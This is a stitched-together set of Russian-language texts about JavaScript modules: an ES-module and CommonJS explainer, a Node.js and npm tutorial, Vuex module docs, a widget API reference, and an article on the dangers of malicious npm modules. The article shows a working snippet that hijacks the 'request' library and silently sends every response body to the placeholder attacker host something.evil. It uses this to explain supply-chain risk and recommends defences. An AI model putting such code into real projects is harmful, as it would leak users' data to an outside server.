Это делает поддержку кода сложным, а удаление старого кода или скриптов игрой в рулетку. Вы не знаете, что может сломаться. Зависимости между этими различными частями кода неявны. Любая функция может использовать что угодно на глобальном уровне, поэтому вы точно не можете знать, какие функции от чего зависят.
Вторая проблема заключается в том, что поскольку эти переменные находятся в глобальной области видимости, каждая часть кода, находящаяся внутри этой области, может изменить переменную. Вредоносный код может изменить эту переменную специально с целью изменения работы функций или другой код может случайно удалить вашу переменную.
Как нам помогут модули?Скопировать ссылку
Модули дают вам лучший способ организовать эти переменные и функции. С модулями вы группируете переменные и функции, которые имеет смысл объединить.
Это помещает эти функции и переменные в область видимости модуля. Область модуля может использоваться для обмена переменными между функциями в модуле.
Но в отличие от областей видимости функций, области модулей позволяют сделать их переменные доступными и для других модулей. Они могут явно указать, какие переменные, классы или функции в модуле должны быть доступны.
Когда что-то становится доступным для других модулей, это называется export. После экспорта другие модули могут явно сказать, что они зависят от этой переменной, класса или функции.
Поскольку экспорт указывается явно, это позволяет определить, какие модули будут нарушены при удалении другого.
Когда у вас появляется возможность экспортировать и импортировать переменные между модулями, это значительно облегчает разбиение вашего кода на небольшие куски, которые могут работать независимо друг от друга. Затем вы можете комбинировать и рекомбинировать эти куски, вроде блоков Lego, для создания любых приложений из одного и того же набора модулей.
Поскольку модули настолько полезны, было несколько попыток добавить модульность в JavaScript. Сегодня активно используются две системы
- CommonJS (CJS) — это то, что Node.js использовал изначально.
- ESM (модули ECMAScript) — это более новая система, добавленная в спецификацию JavaScript. Браузеры уже поддерживают ES-модули, а Node.js добавляет поддержку.
Давайте подробно рассмотрим, как работает эта новая модульная система.
Как работают ES-модулиСкопировать ссылку
При разработке с помощью модулей, вы строите граф зависимостей. Связи между различными зависимостями берутся из любых инструкций import, которые вы используете.
Эти операторы импорта определяют, какой код браузеру или Node.js нужно загрузить. Вы даете ему файл для использования в качестве точки входа в граф. Оттуда он просто следует за любым из операторов импорта, чтобы найти остальную часть кода.
Но сами файлы не являются тем, что браузер может использовать. Ему необходимо разобрать все эти файлы, чтобы превратить их в структуры данных, называемые записями модулей (module records). Таким образом, он действительно узнает, что происходит в файле.
После этого запись модуля необходимо превратить в экземпляр модуля. Экземпляр объединяет две вещи: код и состояние.
Код обычно представляет собой набор инструкций. Это как рецепт, как сделать что-то. Но вы не можете просто использовать этот код. Вам нужны исходные материалы для использования с этими инструкциями.
Что такое состояние? Состояние дает вам эти исходные материалы. Состояние — это фактические значения переменных в любой момент времени. Конечно, эти переменные — это просто псевдонимы для ячеек памяти, которые содержат значения.
Таким образом, экземпляр модуля объединяет код (список инструкций) с состоянием (значениями всех переменных).
Нам нужен экземпляр для каждого модуля. Процесс загрузки модуля происходит от файла точки входа к полному графу экземпляров модуля.
Для ES-модулей это происходит в три этапа.
- Построение (constuction) — поиск, загрузка и парсинг всех файлов в записях модулей.
- Создание экземпляра (instantiation) — поиск ячеек в памяти для размещения всех экспортируемых значений (но пока без заполнения их значениями) Затем связывание — экспорт и импорт этих полей в памяти.
- Оценка (evaluation) — запуск кода для заполнения этих полей фактическими значениями переменных.
Люди говорят о том, что ES-модули являются асинхронными. Вы можете думать об этом как о асинхронном процессе, т.к работа делится на три разные фазы:
- Построение
- Создание экземпляров
- Оценка
Все эти этапы могут выполняться отдельно. Это означает, что спецификация вводит какую-то асинхронность, которой не было в CommonJS. Я объясню это позже, но в CJS-модуль и его зависимости загружаются, создаются и анализируются сразу, без каких-либо перерывов.
Однако сами по себе действия не обязательно являются асинхронными. Они могут быть выполнены синхронным способом — зависит от того, что делает загрузка. Это потому, что не все контролируется спецификацией ESM. На самом деле есть два этапа работы, которые покрываются различными спецификациями.
Спецификация ES-модулей говорит о том, как следует анализировать файлы в записях модулей, и как следует создавать экземпляры и оценивать этот модуль. Тем не менее, в спецификации не описывается, как изначально получить эти файлы.
Это загрузчик, который извлекает файлы. И загрузчик указан в другой спецификации. Для браузеров он описан спецификацией HTML. Но у вас могут быть разные загрузчики, основанные на той платформе, которую вы используете.
Загрузчик также точно контролирует загрузку модулей. Он вызывает методы ES-модуля: ParseModule
, Module.Instantiate
и Module.Evaluate
.
Теперь давайте пройдемся по каждому шагу более подробно.
Построение (Construction)Скопировать ссылку
Во время этапа построения для каждого модуля происходят три вещи:
- Определение, где загрузить файл, содержащий модуль (module resolution).
- Загрузка файла (по URL или из файловой системы).
- Синтаксический анализ файла в записи модуля.
Поиск и получение файла (fetching)Скопировать ссылку
Загрузчик позаботится о поиске файла и его загрузке. Сначала ему необходимо найти файл точки входа. В HTML вы указываете загрузчику, где его найти, используя тег <script>
.
Но как он найдет следующую группу модулей — от которых напрямую зависят модули main.js?
В этом случае используются операторы import. Одна часть оператора импорта называется спецификатором модуля. Он сообщает загрузчику, где он может найти каждый следующий модуль.
Одно замечание о спецификаторах модулей: иногда их нужно обрабатывать по-разному в браузере и Node.js. Каждый хост имеет свой собственный способ интерпретации спецификатора модуля. Для этого он использует решение, называемое алгоритмом разрешения модулей, которое отличается между платформами. В настоящее время некоторые спецификаторы модулей, которые работают в Node.js, не будут работать в браузере, но сейчас ведутся работы по устранению этой проблемы.
Пока это не исправлено, браузеры принимают только URL в качестве спецификаторов модуля. Они загружают файл модуля с этого URL. Но это не происходит для всего графа одновременно. Вы не знаете, какие зависимости модуль должен получить, пока вы не проанализировали файл… и вы не сможете проанализировать файл, пока не получите его.
Это означает, что мы должны пройти через дерево поэтапно, слой за слоем, анализировать один файл, выяснить его зависимости, а затем найти и загрузить их.
Если бы основной поток ожидал загрузки каждого из этих файлов, в его очереди скопилось бы много других задач. Это потому, что, когда вы работаете в браузере, загрузка занимает большую часть времени.
Блокировка основного потока сделает использование модулей в вашем приложении очень медленным. Это одна из причин того, что спецификация ES-модулей разбивает алгоритм на несколько этапов. Разбиение на фазы позволяет браузерам извлекать файлы и строить свое понимание графа модуля перед тем, как приступить к синхронной работе по созданию экземпляров.
Этот подход — разделение алгоритма на фазы — является одним из ключевых различий между ES-модулями и модулями CommonJS.
CommonJS может делать всё по-другому, потому что загрузка файлов из файловой системы занимает гораздо меньше времени, чем загрузка через интернет. Это означает, что Node.js может блокировать основной поток при загрузке файла. И раз файл уже загружен, есть смысл сразу провести построение (construction) и создание экземпляров (без разбивки на фазы). Это также означает, что вы идёте по всему графу, загружаете, создаете экземпляры и оцениваете зависимости перед возвратом экземпляра модуля.
Подход CommonJS имеет несколько последствий, и я расскажу об этом позже. Но одно это означает, что в Node.js с модулями CommonJS вы можете использовать переменные в вашем спецификаторе модуля. Вы выполняете весь код в этом модуле (до инструкции require
), прежде чем искать следующий модуль. Это означает, что переменная будет иметь значение при переходе к определению модулей.
Но с ES-модулями вы заранее строите весь этот граф модулей, прежде чем выполнять какую-либо оценку. Это означает, что вы не можете использовать переменные в своих спецификаторах модулей, поскольку эти переменные еще не имеют значений.
Но иногда очень полезно использовать переменные для путей модулей. Например, может потребоваться переключить загружаемый модуль в зависимости от того, что делает код или в какой среде он выполняется.
Чтобы сделать это возможным для ES модулей, есть предложение под названием динамический импорт. С его помощью можно использовать импорт вида import(${path}/foo.js
).
Это работает так: любой файл, загруженный с помощью import(), обрабатывается как точка входа в отдельный граф. Динамически импортируемый модуль запускает новый граф, который обрабатывается отдельно.
Однако следует отметить, что любой модуль, который находится в обоих этих графах, будет совместно использовать экземпляр модуля. Это происходит потому, что загрузчик кэширует экземпляры модулей. Для каждого модуля в определенной глобальной области будет только один экземпляр модуля.
Это уменьшает объём работы для движка. Например, это означает, что файл модуля будет извлечен только один раз, даже если несколько модулей зависят от него (это одна из причин для кэширования модулей. Мы увидим другой в разделе оценки.)
Загрузчик управляет этим кэшем с помощью так называемой карты модулей. Каждый глобальный модуль отслеживает свои модули в отдельной карте.
Когда загрузчик получает URL, он помещает этот URL в карту модуля и отмечает, что он в настоящее время извлекает файл (fetching). Затем он отправит запрос и перейдет к следующему файлу.
Что произойдет, если другой модуль зависит от того же файла? Загрузчик будет искать каждый URL в карте модуля. Если он увидит там fetching
, он просто перейдет к следующему URL.
Но карта модуля не просто отслеживает, какие файлы извлекаются. Карта модуля также служит в качестве кэша для модулей, как мы увидим далее.
ПарсингСкопировать ссылку
Теперь, когда мы извлекли этот файл, нам нужно распарсить его в записи модуля. Это помогает браузеру понять, что представляют собой различные части модуля.
После создания запись модуля помещается в карту модуля. Это означает, что всякий раз, когда он запрашивается, загрузчик может вытащить его из этой карты.
Есть одна деталь в парсинге, которая может показаться тривиальной, но на самом деле имеет довольно большие последствия. Все модули анализируются так, как если бы они имели use strict
вверху. Есть и другие незначительные отличия. Например, ключевое слово await
зарезервировано в коде верхнего уровня модуля, а значение this
— undefined
.
Другой способ парсинга называется целью парсинга (parse goal). Если вы анализируете один и тот же файл, но используете разные цели, вы получите разные результаты. Таким образом, вы хотите знать, прежде чем начать парсинг, какой файл вы анализируете — является ли он модулем или нет.
В браузерах это довольно легко. Вы просто добавляете type="module"
в тег <script>
. Это говорит браузеру, что этот файл должен быть проанализирован как модуль. И поскольку импортировать можно только модули, браузер знает, что любой импорт также является модулем.
Но в Node.js вы не можете использовать HTML-теги, поэтому у вас нет возможности использовать атрибут type. Сообщество пыталось решить эту проблему с помощью расширения .mjs. Это расширение говорит Node.js что этот файл является модулем. Сообщество говорит об этом, как о метке для цели парсинга. Обсуждение в настоящее время продолжается, поэтому неясно, какую метку сообщество решит использовать в конце.
В любом случае загрузчик определит, следует ли анализировать файл как модуль или нет. Если это модуль и есть импорт, он начнет процесс снова, пока все файлы не будут извлечены и распарсены.
И все готово! По окончании процесса загрузки вы перешли от простого файла точки входа к множеству записей модуля.
Следующий шаг — создать экземпляр этого модуля и связать Все экземпляры вместе.
Создание экземпляраСкопировать ссылку
Последний шаг — заполнение этих ячеек памяти. JS-движок делает это, выполняя код верхнего уровня — код, который находится вне функций.
Помимо простого заполнения этих ячеек памяти, оценка кода также может вызывать различные сайд-эффекты. Например, модуль может сделать запрос на сервер.
Из-за потенциальных побочных эффектов вы хотите только один раз оценить модуль. В отличие от линковки, которая происходит при создании экземпляра, которая может выполняться несколько раз с точно таким же результатом, оценка может иметь разные результаты в зависимости от того, сколько раз вы это делаете.
Это одна из причин наличия карты модулей. Карта модуля кэширует модуль по каноническому URL, так что для каждого модуля имеется только одна запись модуля. Это гарантирует, что каждый модуль выполняется только один раз.
А как насчет тех циклов, о которых мы говорили раньше?
В циклической зависимости вы в конечном итоге получаете цикл в графе. Обычно это длинная петля. Но чтобы объяснить проблему, я буду использовать пример с коротким циклом.
Давайте посмотрим, как это будет работать с модулями CommonJS. Во-первых, основной модуль выполнит оператор require. Затем будет загружен модуль counter.
Модуль counter
попытается получить доступ к message
из объекта exports
. Но так как он еще не был оценен в основном модуле, вернется undefined
. JS-движок выделит пространство в памяти для локальной переменной и установит значение undefined
.
Оценка продолжается до конца кода верхнего уровня counter. Мы хотим узнать, получим ли мы правильное значение для сообщения в конце концов (после оценки main.js), поэтому мы настроим таймаут. Затем оценка возобновляется на main.js.
Переменная message будет инициализирована и добавлена в память. Но поскольку между ними нет никакой связи, она останется неопределенной в требуемом модуле.
Если экспорт будет обработан с использованием привязок в реальном времени, в конце концов counter увидит правильное значение. К моменту истечения таймаута оценка main.js завершиться и в переменную присвоится значение.
Поддержка этих циклов является большим основанием для разработки ES-модулей. Именно эта трехфазная архитектура и сделает её возможной.
Каков текущий статус ES-модулей ?Скопировать ссылку
С выходом Firefox 60 в начале мая, все основные браузеры будут поддерживать ES-модули по умолчанию. Node.js также добавляет поддержку, создана рабочая группа, занимающаяся выяснением проблем совместимости между CommonJS и ES-модулями.
Это означает, что вы сможете использовать тег <script type="module">
, import
и export
. Однако еще больше возможностей впереди. Dynamic imports proposal находится на Stage 3 в процессе спецификации, также есть import.meta
, а module resolution proposal поможет сгладить различия между браузерами и Node.js. Поэтому работа с модулями станет еще лучше в будущем.
БлагодарностьСкопировать ссылку
Спасибо всем, кто дал обратную связь на этот пост, или чьи письма или дискуссии прошлого года, в том числе Акселю Раухшмаеру, Бредли Фариасу, Дейву Хернану, Доменику Дениколе, Хави Хоффману, Джейсону Везерсби, Джей-Эф Бастьену, Йону Копперду, Люку Вагнеру, Майлсу Боринсу, Тиллю Шнайдериту, Тобаясу Копперсу, Йехуде Кацу, участникам сообщества WebAssembly, Рабочей группе Node Modules, а также TC39.
Node.js (сторонние модули и npm)
Модуль
Использовать папку (настраиваемую)
-app.js
-family
–module_a.js
–module_b.js
–module_c.js
–index.js
Мы помещаем module_a.js и module_b.js в папку с именем family, которую «ведет» index.js.
family/index.js
var module_a=require('./module_a.js');
var module_b=require('./module_b.js');
var module_c=require('./module_c.js');
exports.module_a=module_a;
exports.module_b=module_b;
exports.module_c=module_c;
app.js
let family=require('./family')
console.log(family.module_a.a);
console.log(family.module_b.b);
Следует отметить, что когда мы require (), если мы не напишем суффикс .js, nodejs будет думать, что мы вводим папку, и файл index.js в этой папке будет автоматически импортирован.
var jihe = require("./jihe");
Эквивалентен:
var jihe = require("./jihe/index.js");
Измените входной файл
Конфигурационный файл:
package.json
Определяет различные модули, необходимые для этого проекта, а также информацию о конфигурации проекта (например, имя,
Метаданные, такие как версия и лицензия)
{
"name": "family",
"version": "1.0.0",
"main": "app.js"
}
заметка!./ Не могу спасти! !
Используйте встроенную папку node_modules
-app.js
-node_modules
–family
—module_a.js
—module_b.js
—module_c.js
—index.js
Когда app.js ссылается на файл index.js, require в настоящее время очень красив!
let family=require('family')
console.log(family.module_a.a);
Другими словами:
форма требования | Кто цитировал |
---|---|
require(«./a.js») | A.js файл в том же каталоге |
require(«./a») | index.js в папке |
require(“a”) | Файл index.js в папке a в папке node_modules |
require(“a.js”) | a.js в папке node_modules |
Концепция модуля
Когда файл js может выполнять что-то независимо, файл js является модулем.
Когда некоторые файлы js работают вместе, чтобы завершить что-то, эти файлы js представляют собой модуль.
Модуль (не модельная модель) — это функциональная и организационная концепция файла, а не физическая концепция.
juxing.js — это модуль, потому что он может самостоятельно выполнять все вычисления с прямоугольниками.
yuan.js также является модулем, поскольку он может независимо выполнять все вычисления относительно круга.
Они объединяются вместе и становятся папкой jihe, которую также называют новым модулем.
npm
Официальный сайт: https://www.npmjs.com/
npm означает диспетчер пакетов узлов
диспетчер пакетов узлов.
полагаться
dependencies: Запуск зависит от jquery, vue, react (все еще требуется после выхода в Интернет)
devDependencies: Разработка меньше зависит от sass (удобно для разработки, бесполезно после упаковки и компиляции)
Папка node_modules, которую мы загружаем из npm, называется зависимостью.
На этом этапе мы можем использовать файл package.json для управления этими зависимостями, которые мы называем «идентификационной картой» проекта.
Когда мы разрабатываем проект, первым шагом является создание идентификатора проекта.
npm init
отобразит анкету. Поможет вам создать этот идентификатор.
Он попросит вас указать имя пакета, версию, описание, входной файл, тестовую команду, URL-адрес git, ключевые слова, автора, соглашение об авторских правах.
Вы отвечаете, система угадает, что некоторые ответы являются содержанием в круглых скобках, просто нажмите Enter, чтобы использовать его.
Система создаст этот файл:
package.js
При установке зависимостей в будущем добавьте суффикс –save, например:
npm install jquery–save
В этот раз, после добавления –save, наша идентификационная карта автоматически обновит зависимость в файле package.js
Установите зеркало Taobao
http://www.npmjs.org
официальный сайт пакета npmhttps://npm.taobao.org/
Официальный сайт Taobao npm mirror
Зеркало Taobao NPMЯвляется полнымnpmjs.orgЗеркало, можно использовать вместо официальной версии (только для чтения), частота синхронизации
Текущая ставка — один раз в 10 минут, чтобы обеспечить максимальную синхронизацию с официальным сервисом.
Мы можем использовать нашу настроенную cnpm (gzipПоддержка сжатия) Инструмент командной строки вместо npm по умолчанию:
npm install -g cnpm --registry=https://registry.npm.taobao.org
Модули | Vuex
Благодаря использованию единого дерева состояния, все состояния приложения содержатся внутри одного большого объекта. Однако, по мере роста и масштабировании приложения, хранилище может существенно раздуться.
Чтобы помочь в этой беде, Vuex позволяет разделять хранилище на модули. Каждый модуль может содержать собственное состояние, мутации, действия, геттеры и даже встроенные подмодули — структура фрактальна:
Локальное состояние модулей
Первым аргументом, который получает мутации и геттеры, будет локальное состояние модуля.
Аналогично, context.state
в действиях также указывает на локальное состояние модуля, а корневое — доступно в context.rootState
:
Кроме того, в геттеры корневое состояние передаётся 3-м параметром:
Пространства имён
Действия и мутации внутри модулей по умолчанию регистрируются в глобальном пространстве имён — это позволяет нескольким модулям реагировать на один и тот же тип действий/мутаций. Геттеры также по умолчанию регистрируются в глобальном пространстве имён. Однако, в настоящее время у этого нет функционального значения (так сделано во избежание кардинальных изменений). Поэтому следует быть осторожным, чтобы не определить два геттера с одинаковыми именами в разных модулях, что приведёт к ошибкам.
Если вы хотите сделать модули более самодостаточными и готовыми для переиспользования, вы можете создать его с собственным пространством имён, указав опцию namespaced: true
. Когда модуль будет зарегистрирован, все его геттеры, действия и мутации будут автоматически связаны с этим пространством имён, основываясь на пути, по которому зарегистрирован модуль. Например:
Геттеры и действия с собственным пространством имён будут получать свои локальные getters
, dispatch
и commit
. Другими словами, вы можете использовать содержимое модуля без написания префиксов в том же модуле. Переключения между пространствами имён не влияет на код внутри модуля.
Доступ к глобальному содержимому в модулях со своим пространством имён
Если вы хотите использовать глобальное состояние и геттеры, rootState
и rootGetters
передаются 3-м и 4-м аргументами в функции геттеров, а также как свойства в объекте context
, передаваемом в функции действий.
Для запуска действий или совершения мутаций в глобальном пространстве имён нужно добавить { root: true }
3-м аргументом в dispatch
и commit
.
Регистрация глобального действия в модуле с собственным пространством имён
Если вы хотите зарегистрировать глобальное действие в модуле с собственным пространством имён, вы можете пометить его с помощью root: true
и поместить определение действия в функцию handler
. Например:
Подключение с помощью вспомогательных функций к пространству имён
Подключение модуля со своим пространством имён к компонентам с помощью вспомогательных функций mapState
, mapGetters
, mapActions
и mapMutations
это может выглядеть подобным образом:
В таких случаях вы можете передать строку с пространством имён в качестве первого аргумента к вспомогательным функциям, тогда все привязки будут выполнены в контексте этого модуля. Пример выше можно упростить до:
Кроме того, вы можете создать вспомогательные функции с помощью createNamespacedHelpers
. Она возвращает объект, в котором все вспомогательные функции для связывания с компонентами будут указывать на переданное пространство имён:
Уточнение для разработчиков плагинов
Вас может обеспокоить непредсказуемость пространства имён для ваших модулей, когда вы создаёте плагин с собственными модулями и возможностью пользователям добавлять их в хранилище Vuex. Ваши модули будут также помещены в пространство имён, если пользователи плагина добавляют ваши модули в модуль со своим пространством имён. Чтобы приспособиться к этой ситуации, вам может потребоваться получить значение пространства имён через настройки плагина:
Динамическая регистрация модулей
Вы можете зарегистрировать модуль уже и после того, как хранилище было создано, используя метод store.registerModule
:
Состояние модуля будет доступно как store.state.myModule
и store.state.nested.myModule
.
Динамическая регистрация модулей позволяет другим плагинам Vue также использовать Vuex для управления своим состоянием, добавляя модуль к хранилищу данных приложения. Например, библиотека vuex-router-sync
(opens new window) интегрирует vue-router во vuex, отражая изменение текущего пути приложения в динамически присоединённом модуле.
Удалить динамически зарегистрированный модуль можно с помощью store.unregisterModule(moduleName)
. Обратите внимание, что статические (определённые на момент создания хранилища) модули при помощи этого метода удалить не получится.
Обратите внимание, что можно проверить, зарегистрирован ли уже модуль с заданным именем с помощью метода store.hasModule(moduleName)
.
Сохранение состояния
Вероятно, вы хотите сохранить предыдущее состояние при регистрации нового модуля, например сохранить состояние из приложения с рендерингом на стороне сервера. Вы можете этого добиться с помощью опции preserveState
: store.registerModule('a', module, { preserveState: true })
.
При использовании preserveState: true
модуль регистрируется, действия, мутации и геттеры добавляются в хранилище, а состояние нет. Предполагается, что состояние вашего хранилища уже содержит состояние для этого модуля и нет необходимости его перезаписывать.
Повторное использование модулей
Иногда нам может потребоваться создать несколько экземпляров модуля, например:
Если мы используем просто объект для определения состояния модуля, тогда этот объект состояния будет использоваться по ссылке и вызывать загрязнение состояния хранилища / модуля при его мутациях.
Это фактически та же самая проблема с data
внутри компонентов Vue. Таким образом решение будет таким же — использовать функцию для объявления состояния модуля (поддержка добавлена в версии 2.3.0+):
В чём опасность сторонних модулей Node.js?
В этой статье мы поговорим про уязвимости, которым подвержены приложения, использующие уже готовые сторонние модули Node.js. Возможно, вы думаете, что волноваться не стоит. Вы ошибаетесь.
Применение сторонних модулей безопасно далеко не всегда. Например, статья «Reported Malicious module: getcookies» описывает реальный кейс, когда модуль был опубликован и приобрёл популярность, в результате чего разработчики наследовали его в новых модулях. Опасность модуля заключается в том, что он срабатывает, получая предопределённый заголовок, после чего исполняет JS-код из запроса. Мало того, зависимыми от getcookies стали и другие модули, правда, в глобальном масштабе урон был несущественным.
Интересна и другая статья, в которой специалист по ИБ описывает, как он получил параметры доступа одного из npm-пользователей, тем самым получив контроль над 14 % экосистемы npm. Всё это стало возможным за счёт утечки параметров доступа, а также наряду с применением брутфорса. Т. к. пакеты связаны с другими, автору удалось по цепочке повлиять на 54 % всей экосистемы npm! Потом автор опубликовал патч для каждого пакета, который он контролировал, после чего при выполнении команды npm install юзеры выполнили и его собственный код.
Следует понимать, что жертвами утечки паролей или попыток фишинга могут стать и авторы хороших пакетов. Да, по итогам вышеописанного исследования в npm внедрили 2-факторную авторизацию (2FA). Но всё равно нельзя сказать, что npm абсолютно безопасна. Ведь 2-факторная аутентификация является опциональной, поэтому нет гарантии, что все авторы будут обязательно её использовать. Кроме того, 2FA всё ещё уязвима для фишинга.
Другие исследователи обнаружили довольно много уязвимостей в модулях Node.js. И это только начало, ведь с увеличением количества экосистем и количества разработчиков на Node.js, атаки, которые направлены на модули npm, приносят всё больше прибыли.
Как часто вы применяете сторонние модули?
Как вы думаете, какую часть кода в процентах в вашем приложении составляет сторонний код, а какую — ваш собственный? Если вы считаете, что стороннего кода совсем немного, задайте команду, считывающую строки кода в приложении с последующим сравнением этих строк с кодом из директории node_modules:
Будьте уверены, что результат вас удивит. Практика показывает, что в проектах с тысячами строк 50 % и более — это сторонний код.
Велика ли опасность?
Возможно, вы думаете, что это безопасно. Допустим, ваше приложение зависит от модуля А, он зависит от модуля B, тот — от модуля С. Велика ли вероятность утечки важной информации на модуль С?
На самом деле, «коварному» пакету абсолютно не важно, на какой позиции в иерархии приоритетов он находится. Да и вообще, чтобы нанести ущерб, не важно, передавал ли он данные. Главное — определён ли модуль в require. Давайте посмотрим, как такой модуль может выполнить незаметную модификацию require, и к чему это приведёт:
{ // Require the popular `request` module const request = require('request') // Monkey-patch so every request now runs our function const RequestOrig = request.Request request.Request = (options) => { const origCallback = options.callback // Any outbound request will be mirrored to something.evil options.callback = (err, httpResponse, body) => { const rawReq = require('http').request({ hostname: 'something.evil', port: 8000, method: 'POST' }) // Failed requests are silent rawReq.on('error', () => {}) rawReq.write(JSON.stringify(body, null, 2)) rawReq.end() // The original request is still made and handled origCallback.apply(this, arguments) } if (new.target) { return Reflect.construct(RequestOrig, [options]) } else { return RequestOrig(options) } }; }
Если вы добавите данный модуль в блок required, он станет перехватывать все запросы, которые выполняются через библиотеку request с последующей отправкой ответов на сервер злоумышленника. Но этот модуль можно изменить и сделать его ещё опаснее. Допустим, он может подменить monkey-patch и создать временный модуль, запускаемый при каждом входящем запросе. В результате конфиденциальная информация может запросто перенаправляться злоумышленнику.
Что предпринять?
Защитить себя от таких модулей мы можем несколькими способами. Во-первых, надо чётко понимать задачи и цели установленных в вашем приложении модулей. И вы должны твёрдо знать, от скольких модулей зависит ваше приложение. Нашли 2 модуля с одинаковой функциональностью? Выбирайте тот, у которого меньше зависимостей. Меньше зависимостей — меньше опасность.
Ряд больших компаний проводит ручную проверку каждого пакета, составляя белые списки модулей, которыми потом разрешается пользоваться остальным сотрудникам в компании. Подход непрактичен, ведь сегодня существует громадное количество доступных npm-пакетов, не говоря уже о новых релизах.
Тут стоит упомянуть npm audit — инструмент, сканирующий установленные вами модули с последующим сравнением их с чёрным списком модулей. Собственно говоря, даже запуск npm install подскажет, подвержены ли ваши модули известным уязвимостям. А при запуске npm audit fix, вы сможете заменить уязвимые пакеты на более защищённые версии, если они существуют.
Инструмент мощный, но это лишь первый этап борьбы, делающий упор на известные уязвимости и на то, что о новых уязвимостях своевременно сообщают. Также можно находить проблемы посредством команды npm audit (речь идёт о пакетах, на которые не выпущены патчи). Правда, тут есть минус — порой аудит результатов показывает проблемы, которые не представляется возможным решить на данном этапе.
Как бы там ни было, приучите себя быть особенно внимательным к используемым модулям, не забывайте о древе зависимостей, уделяйте особое внимание модулям, где этих зависимостей очень много, и, разумеется, почаще обновляйте свои модули. Пожалуй, это лучшее, что можно сделать, чтобы уберечь себя от проблем.
По материалам статьи «The Dangers of Malicious Modules».
App.js — JS API
В документе описывается JavaScript API для управления формой отзывa на вашем сайте, отображением виджетов, а также отслеживание различных событий.
Модули предоставляют доступ к низкоуровневому API скрипта. Используйте этот API, если ваш сайт использует подгрузку контента с помощью AJAX.
Доступ к модулю осуществляется через вызов:
Shoppilot.require("module_name");
1
Доступны следующие модули:
Модуль | Описание |
---|---|
omnibox | Омнибокс — всплывающий виджет с разными формами (отзыв, вопрос, ответ) |
(type)_widget | Статические виджеты, встраиваемые в страницу |
multi_widget | Специальный виджет, позволяющий загружать много виджетов одним запросом |
events | Отслеживание событий |
user_config | Пользовательские настройки |
Омнибокс
Модуль omnibox
предоставляет методы для управления поведением Омнибокса.
send(command)
Отправляет соответствующую команду Омнибоксу.
Параметры:
Параметр | Описание | Возможные значения |
---|---|---|
command | Команда | showQuestionForm , showReviewForm |
Пример вызова:
var omnibox = Shoppilot.require("omnibox");
omnibox.send("showReviewForm");
1
2
3
setContext(options)
Меняет контекст Омнибокса. Следует использовать при AJAX-навигации на сайте.
Параметр | Описание | Возможные значения |
---|---|---|
options.type | Контекст | product , category , store , brand |
options.id | ID объекта |
Пример вызова:
var omnibox = Shoppilot.require("omnibox");
omnibox.setContext({ type: "product", id: "123" });
1
2
3
isLoggedIn()
Возвращает Promise. Пример вызова:
var LOGGED_IN_TO_WEBSITE;
var Omnibox = Shoppilot.require("omnibox");
Omnibox.isLoggedIn().then(function (logged_in_to_shoppilot) {
if (LOGGED_IN_TO_WEBSITE && !logged_in_to_shoppilot) {
}
});
1
2
3
4
5
6
7
Виджет
Для каждого контекста есть свой модуль: product_widget
,category_widget
, brand_widget
, store_widget
. Методы модулей идентичны.
new Widget(options)
Конструктор виджета.
Параметр | Описание |
---|---|
options | Объект с параметрами |
options.name | Системное имя виджета |
options.onDone | Success-callback |
options.onFail | Fail-callback |
options.product_id | Если контекст product |
options.category_id | Если контекст category |
options.brand_name | Если контекст brand |
options.container | CSS селектор или DOM элемент |
Параметр options.container
указывается только при использовании мульти-виджета (см. ниже).
Пример вызова:
var ProductWidget = Shoppilot.require("product_widget");
var product_reviews = new ProductWidget({
name: "product-reviews",
product_id: "123",
});
1
2
3
4
5
TIP
Если на странице несколько виджетов, используйте модуль multi_widget
,
чтобы получить все виджеты одним запросом. Это значительно ускорит загрузку виджетов.
appendTo(container)
Вставляет видежет в DOM дерево. Возвращает Promise.
Параметр | Описание |
---|---|
container | CSS селектор или DOM элемент |
Пример вызова:
var ProductWidget = Shoppilot.require("product_widget");
var w = new ProductWidget({ name: "product_reviews", product_id: "123" });
w.appendTo("#product-reviews");
1
2
3
Мульти-виджет
Модуль multi_widget
позволяет получить несколько виджетов одним запросом.
Это очень удобно, когда на странице больше одного виджета.
render(widgets)
Добавить в DOM дерево несколько виджетов.
Параметр | Описание |
---|---|
widgets | Массив объектов типа Widget (см. выше) |
Пример вызова:
var ProductWidget = Shoppilot.require("product_widget");
var inline_rating = new ProductWidget({
name: "inline-rating",
product_id: "123",
container: ".inline-rating",
});
var product_reviews = new ProductWidget({
name: "product-reviews",
product_id: "123",
container: ".product-reviews",
});
var MultiWidget = Shoppilot.require("multi_widget");
MultiWidget.render([inline_rating, product_reviews]);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Отслеживание событий
Модуль events
позволяет отслеживать события виджетов и омнибокса.
on(event_name, callback)
Параметр | Описание |
---|---|
event_name | Имя отслеживаемого события |
callback | Функция обратного вызова |
Возможные значения параметра event_name
:
Название события | Описание |
---|---|
widget.impression | Просмотр виджета |
widget.render | Отрисовка виджета на странице |
widget.review.vote | Клик по like/dislike в отзыве |
omnibox.close | Закрытие Омнибокса |
omnibox.review_form.open | Открытие формы отзыва |
omnibox.review_form.submit | Сабмит формы отзыва |
omnibox.review_form.reject | Ошибка при создании отзыва |
omnibox.review_form.accept | Успешное создание отзыва |
omnibox.question_form.open | Открытие формы вопроса |
omnibox.question_form.submit | Сабмит формы вопроса |
omnibox.question_form.reject | Ошибка при создании вопроса |
omnibox.question_form.accept | Успешное создание вопроса |
Параметры функции обратного вызова callback(event)
Параметр | Описание |
---|---|
event | Объект-событие |
event.name | Имя события |
event.data | Данные, ассоциированные с данным событием |
Пример перехвата события «просмотр отзывов»:
var events = Shoppilot.require("events");
events.on("widget.impression", function (event) {
var widget = event.data.widget;
ga("send", "event", "widget-" + widget.name, "impression");
});
1
2
3
4
5
6
Пример перехвата события «открытие формы отзыва»:
var events = Shoppilot.require("events");
events.on("omnibox.review_form.open", function (event) {
ga("send", "event", "review form", "open");
});
1
2
3
4
5
Пользовательские настройки
DANGER
Это приватное API, оно может меняться. Используйте на свой страх и риск.
Модуль user_config
позволяет добавить или изменить некоторые настройки по умолчанию.
set(key, value)
Устанавливает или изменяет параметр по умолчанию
Параметр | Описание |
---|---|
key | Название параметра |
value | Значение параметра |
Например, чтобы добавить пользовательские атрибуты к отзыву, нужно выполнить следующий код:
var config = Shoppilot.require("user_config");
config.set("review_custom_attributes", { shop: { string: "Магазин Химки" } });
1
2
На странице отзывов во вкладке «Пользовательские атрибуты»
вы увидите атрибут shop: Магазин Химки
.
модулей JavaScript — JavaScript | MDN
Это руководство дает вам все необходимое для начала работы с синтаксисом модуля JavaScript.
